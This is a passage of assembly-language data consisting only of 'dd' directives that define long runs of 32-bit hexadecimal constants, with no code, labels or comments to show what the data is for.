181E3E6Dh, 14FB729h, 3C0807D9h dd 41E920EEh, 30FDBBBBh, 7914D724h, 2D07AAEh, 2944FA80h dd 0C1DC4D16h, 40A4E73Ch, 0FD685BCFh, 24264479h, 2181501Fh dd 7CEB4A80h, 0C2B0420h, 0E219C837h, 0B1615F10h, 0FE2F9F48h dd 0E121C24h, 680343F5h, 0AC343242h, 9B10F081h, 72E45869h dd 3009BF08h, 40DCC4C5h, 11BF6A6Fh, 3A90CC2h, 33494362h dd 0C1DE1212h, 4205141Fh, 303AB078h, 5E00E123h, 0A27733D4h dd 0EED80015h, 1C22516h, 10037150h, 115B0F34h, 37FC88Bh dd 854800B2h, 93B6D7F6h, 0F0C405E4h, 98CEC420h, 0DCC0C588h dd 16C2A8h, 0C686E548h, 7646787Dh, 4A146703h, 98FFD40h dd 0A990F031h, 0ECD8CC13h, 0D93E2D2Bh, 0F24780DAh, 230806B4h dd 3F1F1884h, 0E2AD39F9h, 0DF001AE2h, 643C4AFFh, 40C26Bh dd 3F681D55h, 9FF51CDBh, 2C30B113h, 110C4440h, 0B05B33EFh dd 5670044h, 5AF95DC3h, 70A08104h, 0FA091D0Dh, 82D69942h dd 0A0D7953Ch, 0B092FDACh, 200E00BAh, 0BC151E6Dh, 0D0A25DABh dd 8071948Eh, 756EEE05h, 224E43F5h, 0DE3D0027h, 23D03329h dd 40617B1Ch, 9A802218h, 417C42F2h, 0A118C3F0h, 3667D808h dd 40C4C447h, 5AD899F3h, 0BD7800D0h, 35EBDF3Ch, 2890BB4Ch dd 86697F3Ah, 0AC917184h, 611B01D1h, 0D44DE2A0h, 0C47091B2h dd 6AD8A280h, 24996F36h, 0D89AD0C0h, 0D17400E0h, 793D43CBh dd 0A9505B50h, 58936B88h, 0EFBFD402h, 58CF8A30h, 6D40DE64h dd 4B24BF6Ch, 9B7DB705h, 7883A0DCh, 11F8CB0h, 38491FB9h dd 2294249Fh, 1AE8420h, 0CFEB175Dh, 414FCCA9h, 64329E9Ch dd 2505EA34h, 80570EA8h, 0C06DA848h, 3661D847h, 0E0983758h dd 3D89FF1h, 1E629876h, 0BC9B9045h, 639301E1h, 74047E44h dd 0D3951C13h, 5D20A732h, 3F97469h, 31DDB52Bh, 0B8AECA0Ah dd 4762371Ch, 10029B16h, 0E4141Ah, 426D987Dh, 93C53904h dd 0C4C23212h, 3930E43Ch, 0CC820E61h, 19AC5BC4h, 2C0D5867h dd 70203141h, 4D44486h, 6828632Ch, 5133410Ch, 45271E07h dd 5E3DC3CDh, 60E01A8Ch, 0EB00C57Ch, 0A9FF82B3h, 58013868h dd 0D4846C8Dh, 0EB421CF9h, 0A09D3133h, 671269B8h, 97F5304Eh dd 3062E88h, 52162884h, 959422D0h, 2A0A7B0Ch, 26BBF8ADh dd 92404731h, 920C4FEBh, 0E5B090D2h, 1D00A949h, 9D4A421Ch dd 0D7D14Ch, 86919B2Fh, 23E2817Fh, 607DB804h, 948029D0h dd 6432D2FCh, 5F2DF051h, 118250C2h, 9138AFBCh, 0A842D040h dd 3048B1C4h, 6BE8AF94h, 8F5803F8h, 0C09D8888h, 75D4EEEFh dd 27222546h, 0EE083B03h, 98929958h, 50330F8h, 0D9C821EBh dd 97880984h, 10E83093h, 8BEEA84Bh, 77D1DB02h, 60D870B7h dd 780F545Ch, 8AB62E4Ah, 8074111Ch, 300ABF6Bh, 0A800876Dh dd 42F2BFC3h, 0DBAD1273h, 0ECB413BEh, 741000DBh, 0FB7E9FAEh dd 91BC94EAh, 82A38B69h, 4C973618h, 0CDC34494h, 74D89B02h dd 0C0D025A0h, 8097545Ch, 0E0A89C93h, 0E30186CEh, 1DDA4758h dd 0F524B75Bh, 34375D3Eh, 936B7E0Eh, 0CD7213A0h, 120622F1h dd 3B1648CEh, 5C80630h dd 99B441ADh, 199AC481h, 7571B401h, 4C8BC045h, 29F94200h dd 0D7C71A3h, 2AC83C03h, 762F17DAh, 0D19C6521h, 9113C6h dd 0F6F1B52Fh, 4700A563h, 2499C2A7h, 0EBFBEFE3h, 2188404Bh dd 0E58172C0h, 226D0FDDh, 0ED4063E9h, 15DC6816h, 498CBA0Bh dd 91B8975Bh, 0F6FE8030h, 241A7BE2h, 960E3B0h, 1404FDDEh dd 0BF6F6070h, 4D3017EEh, 6C4C2C1Dh, 0A4BF673Fh, 68041184h dd 9CB6AA7Fh, 0C4E20C52h, 43C2830h, 0B0447D5Dh, 4B94B6BFh dd 2623442Bh, 877BC500h, 13F4DCD6h, 81AA1DB5h, 4BBE2028h dd 0C0C58850h, 0F0BE1134h, 0ACC4CF03h, 0A4A5C81Bh, 924C98C0h dd 0C454A59Dh, 0BD4B602Bh, 0FD702E4h, 0D3F6C684h, 0BB38A458h dd 9320D902h, 1E441002h, 4420CC8Dh, 700F5AACh, 3EDF6774h dd 0C81F2702h, 0DAA4684Dh, 4ED0F022h, 42B00235h, 90E43E4Bh dd 0CE8AD300h, 0AD12945Ch, 1B647D31h, 21FA3E9Ch, 0E788F683h dd 0AE0AD216h, 0F015AF72h, 8A4C38DCh, 84802E3Eh, 6FEF340Dh dd 6C94D1F2h, 1CCB16E2h, 70246F46h, 75300512h, 4C14CB1Eh dd 9DBF0545h, 9040A192h, 98FD2706h, 388F0531h, 88B70445h dd 1CA095E0h, 1F00C544h, 6C5BC6B3h, 7F773FCEh, 0B51D00D0h dd 0C4EA6B6Dh, 0EC900B5Fh, 465E7894h, 0BC5F762Bh, 24C86FF0h dd 420DF51h, 0E0BA5C34h, 91003A2Ch, 8044BD0Ch, 4F3F0F20h dd 0D1784894h, 0EFC3B84h, 249F38E0h, 11E084D0h, 0BF718072h dd 945D3004h, 69AA58FCh, 7237BF01h, 20A95AB7h, 2C3C7EE8h dd 8884D324h, 0D596010Eh, 2F527C20h, 476D0612h, 212E41F0h dd 0D2FF5F01h, 0CBBF2BDDh, 1D854DF8h, 5C23ECh, 0ED04CE93h dd 0D01820A8h, 0EEF0E1C5h, 2FD84A56h, 7302384h, 0A11F704Fh dd 20C5AC32h, 0BFB0BD14h, 4EC19B3Ch, 0C211D401h, 0D05B5B53h dd 0D9771D80h, 0A300315Ah, 0DC518A7Bh, 72B13Bh, 71144BC8h dd 9168532Fh, 92B37400h, 876F130Eh, 508CCB6h, 0A91E5521h dd 0D3008D74h, 0D2CEE6F7h, 160B3E31h, 3A53D903h, 8A0341Ah dd 0B9000F71h, 0BFBAA7D4h, 3AB27673h, 0E2274AFh, 0C9A1F100h dd 4190F6D6h, 0EB8400DAh, 8729272Bh, 0B71960C0h, 0C9780777h dd 6F57A4D0h, 16386Fh, 0E8D035E2h, 3375568Bh, 7F085366h dd 45AA0121h, 0CEE77735h, 0A000D75Ah, 593965F8h, 601834DAh dd 0FDB6D111h, 0CA78EF23h, 0C037C0C8h, 0BAA6D4B8h, 0BF74A721h dd 0A000F244h, 0EA832C9h, 7734927Ah, 197EAECh, 3C4BFD6Dh dd 0C0274CB1h, 71C0E0EDh, 6276C6CDh, 7B94146Dh, 0C523C038h dd 0B274AC01h, 0DE190692h, 74A45620h, 6AD4000Dh, 7C141125h dd 94A8D1B3h, 29C00F48h, 3FEFB84Ah, 5120EE3h, 7DA008D4h dd 0D573F06Dh, 0E30D000h, 857CB6CDh, 0B22E0ADCh, 4C44C272h dd 9229B9F4h, 11144BEh, 749F4701h, 408CDA33h, 0EBD134D8h dd 0EF7D1200h, 0C64B7508h, 7C94A037h, 0A4817AB5h, 2A046E4h dd 0E8CC3541h, 107931ABh, 753539AEh, 15E81D91h, 1747C561h dd 0C8C05802h, 4850DC1Dh, 10E1B2F4h, 7EC8CA6Eh, 12D4F881h dd 2FC646FCh, 1742320h, 0F61814C0h, 0E824DCD7h, 2603B639h dd 0F909BD4Ch, 7C1410F3h, 5E57281Ch, 0F2D50AFCh, 1EB48C0Dh dd 0C015014Eh, 80A2E41Ah, 0B2329121h, 0C5699F14h, 378B810h dd 0BF5FDA8h, 675A5118h, 48D10989h, 420094EEh, 0C71D7C47h dd 0ED303077h, 0F6CD419Eh, 67280757h, 0C56671h, 0CE634D9h dd 51361731h, 95D07E40h, 86521F0Fh, 994A8BFh, 5E1885FAh dd 0EB888803h, 0E19491ACh, 88D44EEEh, 8D27C076h, 81F11880h dd 14B3EF0Ah, 0A8A84F0Bh, 403EF004h, 4EE2E607h, 0F0703867h dd 40684DF3h, 20F48488h, 14F0506Eh, 40731B30h, 0F531E30Dh dd 0D43AAC45h, 25000923h, 3001185Bh, 9259062Dh, 5067EDEBh dd 0F913FC04h, 6059B2F4h, 0D4F41945h, 0D7BA1090h, 9F06C873h dd 0D45DF8h, 81E562F4h, 0D832E47Eh, 65B2B8A0h, 726BE2B0h dd 147B18h, 185F6A3Fh, 0B340A805h, 968DF72Eh, 1B369420h dd 46605117h, 74AB02C6h, 319E92B5h, 8021B802h, 1D2874A3h dd 24A048B7h, 7A4B658h, 0F0437ABDh, 3DB2942Ah, 0B4109902h dd 99BF7714h, 79A802E0h, 2A24610h, 0E8CA353Fh, 0A8473Bh dd 4B353790h, 7800D502h, 0A8D4523Eh, 1472DDBBh, 0C47FBA43h dd 9121270h, 0A20828F5h, 0E2CC6C53h, 2098300Ch, 177C2B00h dd 0FAF5459Fh, 0C006987Dh, 0BF40B360h, 5A600D6Eh, 1AA7B510h dd 341C0FDh, 0E95CAAA9h, 267AB900h, 0A3999D48h, 42230D83h dd 0A29FB1Ah, 0F832016Ch, 39AAB0CCh, 2C8BEFD8h, 3E98F340h dd 0F20FDFA0h, 41B92631h, 70FB4B02h, 0C177D040h, 0CF7A6Ch dd 0D4F2EB5Dh, 0CD4DDFF3h, 4600BAECh, 9178AC53h, 29CC514h dd 0B66EBDC3h, 0FC4012C4h, 761F4AD0h, 0BED43AFFh, 1462398h dd 0BAABD4B5h, 880B18DFh, 2CB0BDF5h, 75B01200h, 3FA815FDh dd 94CF5005h, 0ECBA09AAh, 80279AEh, 69E177A7h, 0B0789601h dd 0EC7E6402h, 6F18483Eh, 651D28E3h, 1ECDF2ECh, 0C0BA8D7Ch dd 0A02F9874h, 0F0C07530h, 2ECA5108h, 0BAF70743h, 1CF2148Fh dd 21C06508h, 0BE2EC2B2h, 8C862A70h, 0A340A1DCh, 351EAE18h dd 11E3E8CDh, 46AD007Ah, 5B41A235h, 80D090A1h, 20438F54h dd 78329E8Ah, 0C7533151h, 60034488h, 5417880Fh, 0E2A8FEh dd 0BF6FDE64h, 3D9318DCh, 86225A3Dh, 764B2B58h, 3A7106E1h dd 90677AE4h, 57EFB600h, 6F7D4F2Eh, 0AD943763h, 0BD8EFE29h dd 0CDC09CD4h, 0A2F7AE2Eh, 0C5B30087h, 0B5F6EB2Eh, 0D4042828h dd 417EE409h, 974005C0h, 6A23C42Fh, 27B6EA03h, 0D567D8CDh dd 921A13E6h, 0D4830D2h, 0E472BA0Fh, 7BD0C460h, 9980BDFBh dd 803911DCh, 0BAACD4B6h, 70CFFB7h, 90BEF488h, 0F8910BF0h dd 0A4022088h, 0D50072C6h, 2CC1AB6Eh, 7408B5F1h, 57070B46h dd 308511D3h, 1E4BACA3h, 0D150B202h, 477F8A20h, 80114E00h dd 61A602F6h, 0AED000B0h, 0AA39733h, 0CC93D13Dh, 207C5A09h dd 57376334h, 145F2C8Ah, 62C700CBh, 2C87EAC6h, 6BEC2B0Fh dd 0E927C060h, 0A43652EEh, 0A180A1DCh, 35094018h, 4553E8C7h dd 38938088h, 96E41035h, 0CE2BB20h, 44BCFA1h, 0F616F4C1h dd 3B00EF03h, 3A788AA6h, 85C30092h, 0D4F82352h, 91E410B6h dd 0E8D23905h, 0BC085513h, 0D4B4C243h, 73C71460h, 0F6509894h dd 0C3D438BCh, 83481383h, 88FCFD30h, 9920F3C4h, 81D0AC68h dd 0A818C1C4h, 92B67408h, 64C8A6h, 0F574A04Ah, 0B0916ED0h dd 15E61838h, 4D4E0721h, 0A4484C9Eh, 0B0522C41h, 2ECC30BEh dd 0CAF7AD11h, 0B0836D88h, 0EBE52EC4h, 9F35B078h, 16943B98h dd 887ADCC9h, 0D91265FAh, 0C070DA59h, 7EF16DF8h, 71E8B301h dd 541803h, 8E1CEFABh, 5207BD41h, 6DF72A05h, 3C106939h dd 0B87490FCh, 3C0A8C64h, 0ACDC505Ah, 0D1FC9602h, 44C8C7A5h dd 4B697009h, 0E9000F6h, 3C6F8AD1h, 664C8323h, 8C0EE810h dd 51005D7Fh, 9080CF82h, 129CD78Bh, 80B6CB9Eh, 6FF23474h dd 0D0A7AF07h, 7E624525h, 3E7C507Ch, 33828AB2h, 0E223C563h dd 0E4B5FE02h, 5E3C9610h, 0E0037846h, 0D21C9726h, 0C1A23890h dd 0A8576209h, 0C89C22C7h, 584448h, 3D06D593h, 2008B3E7h dd 7B115802h, 40692630h, 62E2F01Ch, 15E31C46h, 0B459A46Ah dd 61180379h, 1079896h, 0F212E680h, 0CCFE052Eh, 7E246288h dd 884F5C74h, 0B2A8D94h, 0A8A9F2B1h, 605994B2h, 9E180159h dd 80DF9800h, 7CCEFA60h dd 80FD5D4Bh, 5C9ABF00h, 80FF13BBh, 0EE895F00h, 703483DEh dd 0E71413FCh, 0AE0C0BC1h, 0D939011h, 69E26832h, 3A51C30h dd 6167D5E5h, 0D90250BAh, 5FFB7E5Ch, 1DB889A3h, 81071174h dd 815B20A8h, 5C60B9DDh, 72E080C5h, 0B29381C0h, 0F0FB5D25h dd 0EB920C31h, 347051CDh, 0F6332908h, 0BA863E20h, 40586EFCh dd 0D09F4600h, 65FDAAB2h, 18649291h, 59578862h, 0D0A4B67Ch dd 61FCD71h, 5F98BF67h, 0F35A521h, 0E7F9891Fh, 0DDBE5DA0h dd 340EAFD7h, 0BD116FCDh, 54025034h, 67107CABh, 6005444Ch dd 153C9161h, 0F0F9496Bh, 0C5434E0Ah, 0F15E01FEh, 0E1651994h dd 64EBFC89h, 9167CB04h, 30996C1Ch, 1E20032h, 24C2530h dd 0E46DB5Ch, 0E881A71Bh, 99EB5F3h, 5B28C72h, 2C65930h dd 7FA277D6h, 0D3E1C5D0h, 336521A6h, 3074B2C8h, 3700AF14h dd 0CF5BE503h, 0DBD7C66h, 1B2231B5h, 0A78823F8h, 34FC0E8h dd 9100DE0Ch, 108ACDC5h, 14AD142Fh, 84B145F8h, 0DD218D09h dd 0C91249Dh, 0E9788F80h, 0C0079D7Bh, 0B5616DD8h, 138ED93Ch dd 4DCCACBh, 987B7C2Ch, 6A0BF444h, 9D72C7EFh, 800311D8h dd 0F8B37FB7h, 193060F7h, 94A7B0CFh, 132E6A03h, 0F2A3D292h dd 335C487Ch, 18E20Eh, 0BC097DF8h, 0D24C3E92h, 0B2013C70h dd 1D65F777h, 0F435D906h, 6AA28C33h, 0CD7630h, 3E81C36Ch dd 72B1407Ch, 5891E7E0h, 2543FD07h, 16AF8641h, 0BC23C062h dd 0E42ECE0Fh, 54CE9AF7h, 2EC6B600h, 87269B1Dh, 10FC6F48h dd 501F5D35h, 0DC80E7CBh, 7BD28DFEh, 0E5DD48h, 71C11C8Ah dd 47C250Dh, 21F30841h, 0BA80809Fh, 784C1AF4h, 0EC2F1628h dd 19D483h, 0D0CE7171h, 740D91Eh, 0B5FA1601h, 34D8FB58h dd 89AF1F3h, 69382101h, 77510F0h, 11AC8495h, 82106900h dd 1507B68h, 0B6910072h, 2F254FEFh, 90138DFDh, 7448D90Fh dd 0B6C28B74h, 0F8D05011h, 5A803272h, 0BD5A6Eh, 60C16684h dd 0A1D4C5B6h, 0F9151FDCh, 6DF5B440h, 9EDCB749h, 200C9D34h dd 0A008D55Ah, 615A8CB3h, 880026B1h, 346B604h, 7018EBDh dd 325E0D60h, 9EE400A0h, 5924F2D5h, 9130B020h, 0ECB5C271h dd 7CE496ABh, 2A0F6646h, 6BE4349Eh, 0FD14E0C3h, 93692005h dd 74D70F47h, 681648A5h, 8CA6B888h, 0CE35AB05h, 0E4A29BE8h dd 3543ACC3h, 7D6A4A88h, 3BD6DA00h, 1D12D528h, 0F47E3EB3h dd 878077B0h, 524F3055h, 0C038CC48h, 0BAA9D4BBh, 989EE490h dd 1A3EF50h, 0E6E02EC9h, 803916CEh, 367B93C0h, 485A4392h dd 0FF415475h, 0C422706Ch, 0A19E63Ah, 0F015E486h, 7BD13829h dd 0B5028B18h, 488F5109h, 0C34CC8FAh, 0C44503F9h, 0D1C963A7h dd 1DA985B8h, 7707602h, 79A1C5B2h, 71E02960h, 2A186Eh dd 0B7D60DFCh, 58A0CAB8h, 147C9104h, 0C492C247h, 0F8A0A33Fh dd 10C78528h, 1455E5B0h, 0E3E8DC9Fh, 6435420Fh, 44A243E8h dd 353A91C0h, 0AC0015A6h, 92CFE773h, 0A082EDFBh, 0C153ACh dd 193CEFB5h, 386561AEh, 5091E17Ch, 6830A188h, 0F74205D6h dd 687022C2h, 2EC1AF20h, 16E300A1h, 0B4DA5CE5h, 28A0325Dh dd 0B207E006h, 2E7C9CF0h, 0F845E3B2h, 64573044h, 0FAFB60B1h dd 0D846A400h, 0FC0DE94Fh, 12E8F29Ch, 0FD4AEEh, 4872AB10h dd 28179313h, 0C2FB14Eh, 0C0726C10h, 0EE9ECC2Dh, 20BF4D3h dd 0E3923839h, 0E10A7A65h, 840FE12h, 33B294A8h, 0BA073E92h dd 9D43E2Ah, 0C6475DA7h, 10600C6Dh, 0FA2EDD0Ah, 4CC0A0E1h dd 0E5220218h, 709062BEh, 0B2D29120h, 29FD0937h, 44E5B1FFh dd 1870FFC2h, 5607319Dh, 0EEC7DD06h, 4CA42980h, 8AA8A0F6h dd 7C8C81FEh, 48488918h, 789D62C0h, 96201CBEh, 5EF402Ah dd 661E843h, 0D422B205h, 0C8E00988h, 0A8765CE1h, 78C09F8h dd 8EDB14C4h, 26BFE168h, 0CEF02042h, 4810C625h, 0C505CDD8h dd 0F2974DA0h, 12490068h, 4F0BEE2Dh, 5898489Ah, 148C63BCh dd 88A59DFAh, 170DF610h, 58307E7Ch, 2CE5EC8h, 0B461A797h dd 70C70A4Eh, 946076C4h, 40748541h, 0C7423201h, 60D314E4h dd 64141E2Bh, 0B8172F28h, 0A807F11h, 31490715h, 73E27412h dd 244D2CC8h, 2B8A23Fh, 70124B7Dh, 0D2E40209h, 0F2A4480Fh dd 30880757h, 34CDBF20h, 88E4CE10h, 0B019C007h, 0D7066306h dd 64431C7Bh, 0BE2AFED8h, 5D17DCD4h, 9AACA506h, 0B916113h dd 5CA18471h, 5BFEECh, 24667740h, 12100931h, 6218E086h dd 41F0548Ah, 26BF72B2h, 74AA02A0h, 59B692B8h, 0A2486020h dd 4A60D174h, 447D188Ch, 0CDCA0146h, 0EEE93DACh, 470289Eh dd 615071F0h, 0B922F0ACh, 2C1FCC98h, 0B2017BCAh, 0CE45CC2Ah dd 2E841FC4h, 11346C72h, 14386488h, 284B0F5Fh, 34FB8682h dd 0F2B34849h, 0F7A7B620h, 57B02585h, 0FBDED848h, 0CDC9280h dd 30F3F92Eh, 56257C31h, 2FC0664Eh, 0DC9D07B0h, 0DC807791h dd 7231992Dh, 8900017Dh, 93BDD0BFh, 30FCADD1h, 25793A19h dd 770027CBh, 9F26DF46h, 9A554943h, 9AB24BC0h, 7A44C074h dd 25FCE1E4h, 0A06A6C1Ah, 7795C51h, 84049D18h, 7BCF6202h dd 822A8C83h, 0A00CDAEEh, 80797634h, 3E60ED78h, 9D3DA171h dd 4B91167Ch, 0C1A05DD6h, 3043F913h, 0B18828D1h, 620DBDB6h dd 307AE2C0h, 6C1DDBD2h, 74C0703Ah, 946204F5h, 4BF0926Fh dd 6C008D86h, 436BBC54h, 67E30172h, 0EB1E2B49h, 4B1F82E4h dd 4E208D28h, 0C97D8814h, 0C001C504h, 0A8BAB72Ch, 0B098F498h dd 4B6D9520h, 4B408CD0h, 63EFF600h, 0CEE87F8Fh, 0F817403Eh dd 3196D1Bh, 4F86E188h, 11A318Ah, 8980BBE8h, 0D7C8C546h dd 1005AC34h, 0EA5C444Fh, 5183BC1Fh, 0F1833ABFh, 0C2A231Ch dd 0BA9EAD58h, 0D001DCBBh, 0AAF7A92Eh, 0B4806C73h, 4E1F2EC8h dd 21FD6A02h, 84ABE573h, 0AD60C4B8h, 9227B774h, 8496AEh dd 774A549h, 0E6FE4359h, 202F194Ah, 1E0B6623h, 0FB1C027Dh dd 0B480A6Eh, 0ACE767BAh, 66630B64h, 0E4EB7298h, 46609C09h dd 0F558839Ah, 2FAF899Eh, 4824402Ah, 6E986B3Fh, 0A19CA000h dd 2DA7BFAh, 0C651C79h, 1FEBC0ABh, 2944848Bh, 1A994902h dd 47615AF4h, 606CC450h, 526057h, 3438FE40h, 0EB8FA50Ch dd 0DC16F55Eh, 6B2EC804h, 764E0701h, 5A188066h, 30711FF6h dd 79D4B1C6h, 0D81879h, 80EFC1C7h, 65FCBA8Fh, 0C8FE493Dh dd 3EEE0844h, 8AC2606h, 6A109243h, 0CAE6D003h, 1FA0D5A3h dd 6C4A1CACh, 80D124CFh, 0D042CAC0h, 43007773h, 0C83D6D3Eh dd 0B1295AFh, 0A32F970Ah, 2EC778B0h, 0F2F74012h, 0B10040CBh dd 0EBB02EBFh, 8CFA5BA4h, 0C80560F0h, 96EC7E18h, 6C5B4CB1h dd 6BA1A8C1h, 0EEDC70F5h, 2AC2E140h, 29C987Eh, 27FDB5E3h dd 0DC74A8A0h, 0F9B8A540h, 4A6500C6h, 0E409D028h, 91168060h dd 2F02A285h, 0D9749362h, 0B0443A68h, 0E8F8775Ch, 88008C64h dd 876E6B32h, 8D5B21Ch, 695A9D8Fh, 7F072B80h, 72411F77h dd 0B15D178Eh, 77886F72h, 96BEC20Eh, 2DD021D4h, 16AD874Fh dd 66915097h, 0BA336B83h, 40743BF9h, 7E4369D4h, 0A01F534Bh dd 3A8F03E2h, 83A1B931h, 96E4D0F0h, 74AD500h, 1C24F216h dd 63E848BAh, 0A672C713h, 3FACE070h, 0B8CD01E0h, 0A23D4041h dd 6C8F07Fh, 67FCB205h, 0F48ED991h, 0CBC003C8h, 0B6B360E8h dd 7B808224h, 9C08E43Fh, 3A901026h, 90868C05h, 0E884C473h dd 8C77BC54h, 1CD71000h, 0CF023CDBh, 0CCC04CA6h, 0A012FB2Dh dd 918D45Ch, 0B1C64471h dd 187979E4h, 0DEA20F49h, 0FF05B8CAh, 71C8D019h, 9B027C36h dd 22DA4B01h, 1AE8C062h, 73C987C5h, 0EBA5093Ch, 0B88D5884h dd 7CB31EF4h, 18A1F952h, 8F80302Ah, 6B4021F3h, 906211D2h dd 5A8D096Fh, 3020F8DCh, 0AB31074Bh, 5281DEFh, 0C94D8C2Ch dd 0FAB8ACh, 0A4FB65Bh, 0B292F8D1h, 910F3206h, 296657h dd 0A9F781F9h, 8AC39353h, 1A090B4Ch, 5E216E7Ch, 0CFD01620h dd 0AB41040h, 0B20CF292h, 80B03178h, 0BF0B79E0h, 43CA3CDh dd 8DFD3B53h, 380CECA4h, 7AAA5E6h, 50F2F2FCh, 76687E07h dd 7E007446h, 8791222Ah, 280064AFh, 0EFB5F469h, 25D7824h dd 93634C7Dh, 0FC5E2EFDh, 0F57F05F4h, 0B2C2A96Dh, 9DBC2270h dd 0B90E0C37h, 0FA807DDBh, 70E25D7Ch, 8A32D5Ah, 7A64D047h dd 23A72D60h, 1C7C4704h, 0A0FD4F9Bh, 0DC39F90Bh, 0D0F4A064h dd 6F0250Bh, 13401248h, 0B247C414h, 490CB04Dh, 43488F6Eh dd 28804BA6h, 0D3C03EF4h, 0E774F660h, 0BC6C0C50h, 553E023Ch dd 66CEE761h, 0F21D1C78h, 3CAE5213h, 910C9727h, 0A0C7807Ch dd 5E4BFEB6h, 0A06BC6h, 0FCC503E4h, 5C1B3Eh, 0F927F010h dd 0D45A2A43h, 0EF2E7570h, 58B9303Dh, 4EAE80ACh, 7322529Eh dd 493C9CEBh, 7ACE081h, 61A700D9h, 408C9EB7h, 6355C8DFh dd 85B07B58h, 0C05EFF19h, 43654840h, 82634Dh, 70DE909Eh dd 0C33376FCh, 0B032CAF2h, 25535037h, 12A6C1E3h, 13E0746Ch dd 0B304549Ah, 7085F60Ah, 46F41A01h, 37C0687Dh, 6B118842h dd 98E94A5Ah, 66F28872h, 0E0686C30h, 271DFE4h, 9E91E36Fh dd 0FF1C3400h, 5EB7837Ch, 0B02312C5h, 4C13B594h, 0B8C89EDFh dd 5A29F8F8h, 0D4BC8116h, 0B8342C97h, 347D8C6Dh, 0A119E01h dd 6C4E5EEDh, 0B6CC57FDh, 0DE8B014Ch, 875189B5h, 0D6F431C0h dd 31C0FE27h, 4B3829A5h, 0AD904317h, 0E0F8C5E4h, 3D00A0D4h dd 0AD9825Eh, 1DBCA44h, 8519F4BFh, 6B1D308Ah, 0F0A64452h dd 0FDA182E0h, 7C620609h, 3878D172h, 9C01FCA5h, 435637Eh dd 180DCC0h, 68D98AD9h, 0F8187959h, 70A86E00h, 0EEF2B731h dd 0B443B57h, 0C460DA5h, 76B5C880h, 378DC98h, 0B83795h dd 82EEDCF0h, 6D10FD58h, 0C585B3Dh, 13394071h, 20489F24h dd 2306F340h, 72912F8Fh, 0D74CB000h, 0C0F54BB4h, 0B0B639EEh dd 0D8B725h, 18BA2D64h, 0FA021BA4h, 6133234Dh, 8B585EB8h dd 2462F85Bh, 81583873h, 14A3262Ah, 53BF08C4h, 2C07702Bh dd 37B9D4E7h, 618C38B4h, 6E716A5Ah, 0C23A0205h, 0AC0F4393h dd 802122Dh, 51763010h, 60F47BB8h, 0EF8E545h, 4E28945Ch dd 1A022A8Eh, 14D1AA21h, 4180A79h, 148B4A05h, 2CB4A42Fh dd 620A40DEh, 0E1679132h, 80F47E19h, 9DDEC0CFh, 0BDF403C7h dd 89623D00h, 0CEE926BCh, 18DD488Eh, 946AAC12h, 0B82CE9D8h dd 0CA64032Bh, 94FE80DCh, 0CBA804DDh, 0C84CE07Ah, 96634A0Bh dd 0F29C206Bh, 267421Fh, 0E6E8E122h, 0B45403A2h, 0BC1F3893h dd 0C85B51D0h, 6CBB3524h, 0FCC3F0h, 0F72CB220h, 56D7C944h dd 30877C04h, 60B17EFDh, 0A0507BD9h, 0F4E8F464h, 0CDD30EBCh dd 99000BC8h, 0E4BA0C87h, 30590E31h, 0C23ADAEh, 0F300CA2h dd 0C4311FA7h, 0F9E9408Ah, 58BD6DF7h, 8626E490h, 0CE3DA4C9h dd 64945403h, 0FD980D7Ah, 2F49CBF2h, 923FC2Fh, 0AA1A1800h dd 38602FF0h, 35AEF8FFh, 0B1286164h, 6E0C2044h, 691A3440h dd 0E4C571F3h, 3F6306E4h, 679389A8h, 8092375Eh, 718451C6h dd 17AC187Fh, 0C28BCD62h, 14712A1Ch, 57180579h, 8F690902h dd 0DA89BDEBh, 1CA095A8h, 0D355D72Dh, 0D0327C24h, 547BDEh dd 3A102DB5h, 28419512h, 4B258DB0h, 3FE4419Eh, 0ECC0B425h dd 2A49A65h, 0F6C81187h, 0A0DB77DCh, 358B5A5h, 3716D0A1h dd 0A09F9940h, 1658873Dh, 0AC5006B1h, 436BEC30h, 5AC50072h dd 3EBD8ADAh, 17CD05D4h, 0C2B29313h, 0A840ACF6h, 1DBD6D5Ah dd 71018830h, 8C6C2160h, 7C47008Bh, 0E6E94E6Dh, 68940E2Ah dd 134F4400h, 17E3CB94h, 435E4B64h, 1F147C8Ch, 0FDB6D902h dd 200F491Eh, 2C1BE328h, 8905EEF6h, 24374F2h, 3204E8A8h dd 74F86FCh, 907917A8h, 0E7529Ch, 0DC35036h, 99A4967Bh dd 0BA74FD03h, 0B2EF2F8h, 0B1B0C729h, 6C45045h, 5C9C7760h dd 7EE6CF04h, 7C093523h, 78A02CC4h, 0F7076884h, 0B12C4BF8h dd 67C0CD19h, 5AA6CF9Dh, 3E005965h, 0EB1FD934h, 6D76070h dd 6BF81E67h, 22036854h, 5A8D7CCAh, 0A5310062h, 0E85898C9h dd 0C500CB20h, 5509987h, 265793F7h, 805468B6h, 0F248ACDh dd 0EE27F8CAh, 0B6584633h, 64465E70h, 7AFF7B07h, 0CC90A9DEh dd 1503E78Ch, 0A12A96F3h, 5A3899B8h, 0C002B461h, 2080290Fh dd 1676939Bh, 0AD389704h, 4781D292h, 182469E3h, 95622ECDh dd 1CF240CCh, 6103DA51h, 88BC48DBh, 0EDB1E230h, 8B0AC088h dd 100075C0h, 67E1F74Ah, 187C9427h, 71793258h, 23001D38h dd 59C77418h, 2F79ACDh, 7DFA0429h, 0E8E86E2Ch, 64F0F6CAh dd 46A4819Fh, 8E157113h, 0C0688878h, 9B4F6616h, 25039D7Dh dd 0C5857CF1h, 0B06A54E6h, 0D1AC99ACh, 9691807h, 11CF86C6h dd 63B3C402h, 6CFC7B04h, 0C854CE4Fh, 1713C00Ch, 67017A88h dd 6FFBBA4Eh, 0E028956Eh, 3ECEE604h, 64A10BE3h, 4C30598h dd 830EDD6Eh, 92A8CFDDh, 1CBB1376h, 0E36E907Bh, 119E286h dd 0A609035Fh, 68F24391h, 20705054h, 12361580h, 17C1B8F9h dd 1186E1Ch, 6247F9B3h, 35F0B5FBh, 12340EDDh, 0AB40D848h dd 80363289h, 60BB9338h, 0A1BEE1F8h, 8DC14FFDh, 0C01C3AECh dd 7FA23FC1h, 0F028F748h, 19EF2D00h, 96D84788h, 3AEAC200h dd 32DED057h, 0B83F62AAh, 90F4EC1Ah, 6856E8B1h, 7787E048h dd 13F81389h, 4AF409B7h, 36B2C841h, 2EDDE080h, 22189068h dd 0EB005BC3h, 73DCE7AFh, 0BA22FCBAh, 250D0ACCh, 80CC7E57h dd 5AAAC636h, 0EA0FC48Bh, 0C0828378h, 0B6A30AFh, 473E077Ah dd 5AF4BA91h, 30C22720h, 0E11449Fh, 321F8881h, 0E063E9ABh dd 3135448Dh, 